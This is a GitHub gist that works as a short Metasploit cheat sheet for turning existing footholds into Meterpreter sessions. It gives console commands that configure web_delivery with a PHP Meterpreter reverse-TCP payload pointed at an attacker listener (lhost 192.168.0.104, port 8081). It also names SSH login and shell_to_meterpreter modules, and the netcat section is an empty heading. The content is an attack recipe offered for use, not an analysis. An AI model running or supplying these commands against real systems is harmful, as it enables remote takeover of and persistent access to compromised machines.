Skip to content

Instantly share code, notes, and snippets.

@castexyz
Last active March 11, 2018 11:56
Show Gist options
  • Select an option

  • Save castexyz/361af5972942fd03fbe5b8ab194a9ac7 to your computer and use it in GitHub Desktop.

Select an option

Save castexyz/361af5972942fd03fbe5b8ab194a9ac7 to your computer and use it in GitHub Desktop.
Upgrade to meterpreter
WEBSHELL TO METERPRETER
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.104
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
SSH TO METERPRETER
use auxiliary/scanner/ssh/ssh_login_pubkey
use post/multi/manage/shell_to_meterpreter
NETCAT TO METERPRETER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment